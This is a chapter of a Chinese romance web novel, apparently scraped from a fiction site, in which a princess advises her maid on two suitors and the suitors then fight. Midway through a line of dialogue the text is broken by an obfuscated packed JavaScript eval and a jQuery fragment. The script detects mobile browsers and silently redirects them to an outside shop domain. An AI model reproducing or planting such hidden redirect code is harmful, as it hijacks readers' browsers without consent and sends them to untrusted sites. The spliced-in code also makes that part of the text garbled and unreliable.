文趣网 > 其他小说 > 真公主不想再当纸片人 > 41. 倒是豁达
    李乐栖认真听完穆初晓的讲解,又从头到尾看了一遍他们怎么玩这个沙嘎,是在宫内不可能看到的丢捡骨头的玩法。

    就算被勾起兴趣,她还是乖乖排队。

    正好和穆初晓同个队伍,两人玩得不亦乐乎。

    这个游戏规则简单,男女老少皆宜。

    不过适合男子的活动更多,这里也就穆初晓为了陪李乐栖而留下。

    甚至在他有意相让之时,又获得被拧腰的机会,非但没生气还笑得更甜蜜了。

    即便笑容看起来再怎么憨,也不影响那张脸的帅气。

    李乐栖玩了会儿就走了,整个人觉得汗津津,她又不能像穆初晓那样直接跳河里就洗了,于是提出要回帐。

    云影和云裁一直在不远处跟着,见到此景立刻上前伺候。

    “公主,我伺候你吧。”穆初晓冷不丁轻声说道。

    李乐栖:?

    她见鬼似地看向穆初晓那边,还没从夫君伺候自己的这话里回过神来,再听他说道:“让云裁去休息……”

    李乐栖回过神来,看过去的视线里多了丝别意,而云裁已经惊恐地跪在地上。

    这气氛让穆初晓觉得不太对劲,一时又想不明白,只能实话实说道:“罕那错让我帮忙……”

    事关云裁之事,李乐栖听完,气笑道:“他让你来,你就来,你原来这么听他的话呀?”

    “他是我的好兄弟,正好能顺手帮个忙。”穆初晓有心要解释,哪里想到公主直接走了,“公主……”

    他快步要追上去,却被其他宫婢挡住路。

    公主好像生气了。

    穆初晓对此后知后觉,发现这点就更不好再跟上去。

    毕竟都是自己的错。

    李乐栖回到内帐,宫婢们各自做着事。

    她特意留下云裁,问道:“你究竟是怎么想?”

    “旦凭殿下做主。”云裁恭敬回道。

    “莫再说这些话来哄我。”李乐栖无奈道,主动拉起云裁的手,“罕那错那人实诚,是个直肠子,做事也磊落,是个不错的手下。可要是当丈夫的话,却少了细腻温情,注定要让你自个儿受委屈。”

    她想到自己面对穆初晓时不时也是这样,所以深知其中要害。

    好在夫君那张脸够看,又因着身份在此,发脾气也无需忍着。

    “郑唯远长相清秀,身板虽不如罕那错,但为人细腻,做事妥帖,家世也清白。”李乐栖分析到这,心里自有偏移。

    “他们皆是好男儿,要不是这世间对女子多有束缚,就算是两人都得也未尝不可。”她实实在在对云裁感到此间惋惜。

    云裁听都不敢仔细听,赶紧出声阻止:“殿下!”

    “我说的是真心话,就算巴图布在此也是如此。”李乐栖微微抬起下巴说道,她的身份摆在那里,也要受规矩束缚,更别说云裁了。

    “暂且不提那些,你究竟作何想?感情之事最忌讳藕断丝连,既做了决定就得明白告知。”李乐栖出声道。

    云裁沉默片刻,脑海里有与他们相处的点滴,随即道:“我对罕大人,没有过多想法。”

    李乐栖想到当初云裁在车厢里谈及罕那错,也不过是半年前……

    要么是罕那错做了什么让云裁死了心,要么就是郑唯远很懂得什么叫后来者居上。

    总之,有了决断就好办。

    “只是奴婢不知该如何与罕大人说清楚。”云裁不免带起忧愁,“明明每次奴婢都觉得说明白、说透彻了,可他还是不明白,一天天的痴缠……”

    “这还不简单。”李乐栖打断道,“你将他们两人约出来说开便好。”

    “不行的,他们定然会打起来。”云裁忙道,都能想象那个场景。

    就郑唯远那身板,怎么也不像是罕大人的对手。

    “那就让他们打呗。”李乐栖毫不负责道,见云裁是关心则乱,又出声解释,“一家有女百家求,况且现在只有两家。他们要争要打,和你又没错,或许打过之后还能冰释前嫌呢。”

    “况且是自小生活在草原的男子,见识过这天地广阔,哪会生出狭隘心境。”李乐栖感叹道,“你莫要小看罕那错。”

    云裁听完不由陷入沉默,李乐栖也不再说。

    热水送来,由云影和云裁贴身伺候着沐浴。

    李乐栖换了一套衣物出了帐,见到穆初晓眼巴巴跑过来:“公主,尝尝这个!”

    简直不像是在反省。

    她看到被对方殷勤捧过来的橙红果子,一下就认了出来,诧异道:“沙棘果熟了?”

    “嗯!”穆初晓高兴极了,“我洗了三遍,特别干净,可以吃。”

    看来是用了心。

    李乐栖捻起一颗沙棘果,它宛如被打磨精细的宝石般。

    她小心尝了尝,果皮很薄,甫入口有些酸,待酸味退去喉咙泛起淡淡清甜,是很独特的口感。

    “还不错。”李乐栖评价道,朝云影那边看去。

    云影上前接过剩下的沙棘果。

    “和周围的牧民说清楚,我们收购沙棘果。再送去厨房,让御厨看看该如何做成果酱。”李乐栖吩咐道。

    “是。”云影应道,拿着果子退去。

    李乐栖虽然没有对穆初晓说什么,但对方很自觉地跟在身边,那副开心的样子似乎是得到了原谅。

    恐怕这大傻子还不知道自己为什么会生气,总是这般稀里糊涂的……

    让她想要说起的心思也淡了。

    一行人走了没一会儿见到特意过来打招呼的罕那错,那双眼睛恨不得黏在云裁那边,又怎会看不出来。

    李乐栖先用余光扫过去,见云裁悄悄点了下头,这才道:“你们也去玩吧,我这里有巴图布跟着,无碍。”

    “是。”以云裁为首的宫婢们恭敬应道。

    果然等云裁一走,罕那错就巴巴跟上去,连告辞的寒暄都不曾说。

    李乐栖看得直摇头。

    “公主?”穆初晓关注到这个摇头,好奇问道,“你也不看好罕那错吗?”

    也?

    李乐栖听出猫腻,挑眉反问:“他不是你的好兄弟吗,你不看好?”

    穆初晓看着那道离开背影,平静道:“罕那错性子急躁了些,有时又容易把事情想得简单,可他对人真诚,不会像……那人般会讨巧。”

    他想到罕那错那天在河边絮絮叨叨的事情,当然是从“中原人狡诈”里听出别的意味,甚至自己还说不出有效的追女子技巧……

    既然不适合,就不该勉强。

    “嗯?”李乐栖听得蹙眉,这话怎么听怎么觉得是在指云裁被表象所迷惑呀。

    气氛不对!

    穆初晓赶紧只说罕那错和自己说的那些事,于是道:“当初云裁找他要习武时,当然得从最基础的马步开始,只有下盘够稳才能……”

    说完只觉口干舌燥,他期待地看向李乐栖,小声辩驳:“我不是那个不好的意思。”

    “我算是明白了云裁为何不会选罕那错了。”李乐栖平静道,但凡她被那般对待,就已经将人拖下去砍了。

    还是云裁脾气太好。

    “为何?”穆初晓真诚问道。

    李乐栖侧头见是真诚发问,解释太多怕对方不明白,说道:“如果是你教我习武

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17765822|204644||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,会像罕那错那般吗?”

    穆初晓:!

    他立刻通透了,哪里舍得呀!

    “他们的事自有他们解决,我们还是好好享受这刻吧。”李乐栖笑道,随即提步跑进人群里,想看更多的热闹。

    “公主等等我!”穆初晓扬声喊道,快步跟上去。

    在热闹的营地里,云裁很听殿下所言,不仅让罕那错跟着,还让人支会了郑唯远那边。

    特意找了处安静的地方,她看向面前两个已经争锋相对的男子,缓缓站到郑唯远身边,说道:“罕大人,我很感谢您这一路上的照顾。可相处之后,发现我与您实在不相配……”

    “哪里不配了!”罕那错高声打断道,上前就想抓人。

    也是这里没人才不会被关注,云裁悄然松口气。

    每次话还没说完就被这样反问,说了无数遍也不能入对方耳……

    就在云裁不知该怎么说时,郑唯远跨步上前,把人护在身后:“说话就说话,不要动手。”

    罕那错被挑起火气,打算直接绕过面前这个小白脸,结果又被拦住。

    两人须臾间打斗在一块,只有猎猎风声。

    偏偏云裁这个当事人就在打斗之外,焦急地看看这个又看看那个,说道:“你们快住手!别打了!”

    似是听到这边动静,送完东西四处闲逛的云影忙跑过来,瞧见云裁没事,匆匆缓了口气。

    云影整理乱了的鬓角,装作任何事崩于面前而冷静的模样走上去,拔出营地的木杆,用巧劲各自打在缠斗的两男子身上:“再打,我就告诉殿下。”

    罕那错正打得畅快,倒是他小瞧这个小白脸了!

    此时听到云影的话,怒目看去,说道:“怎么还告状呢,还讲不讲武德!”

    就算被打得屁滚尿流,也要咽回去,不能找父母,这是草原人的共识。

    “我又不会武,没有武德。”云影神色淡淡,见这两人分开才道,“不管你们因什么而打架,都不能在脸上留疤,以免冲撞了殿下。”

    罕那错擦了擦破皮的嘴角,看到郑唯远那青了半边的脸颊,心情顿时变好,还有心思笑出声:“就你那点力道,给我挠痒痒还差不多。”

    郑唯远觑了一眼,乖巧没回应。

    毕竟那是殿下面前的大宫女,他还刻意避开青了的面颊。

    啪!

    云影毫不客气地用木杆打在毫无防备的罕那错身上,激得他跳起来,委屈道:“你做什么打我!”

    “没拿稳。”云影面不改色道。

    鬼才信!

    罕那错心里嘀咕,见识到这女子的厉害,打算不与她计较。

    反正那股气出了,得不到姑娘青睐,说到底还是自己没本事。

    “小子,你可得好好待云裁姑娘,不然我不仅揍你,还要把她抢回来!”罕那错握着拳头,凶巴巴朝郑唯远所在方向挥去。

    见那木杆又有倾斜过来的趋向,他灵活地先一步避开,十分高兴地说道:“没打着!”

    他可不会上两次当。

    说完就跑回营地里,罕那错半点没有因被拒绝的郁结。

    看着那道奔远的背影,云影难得评价道:“倒是个豁达的人。”

    云裁看向被揍得脸发青的郑唯远,无奈道:“他打你,怎么不知道躲呢。”

    “这次,我不能躲。”郑唯远坚定道,躲了就一辈子被情敌看不起,那可不行!

    “你真是……”云裁缓缓道,又舍不得说重话了。

    见事情解决,云裁那边先心疼上了,云影出声道:“我先走了。”

    她可不想留在这里看有情人。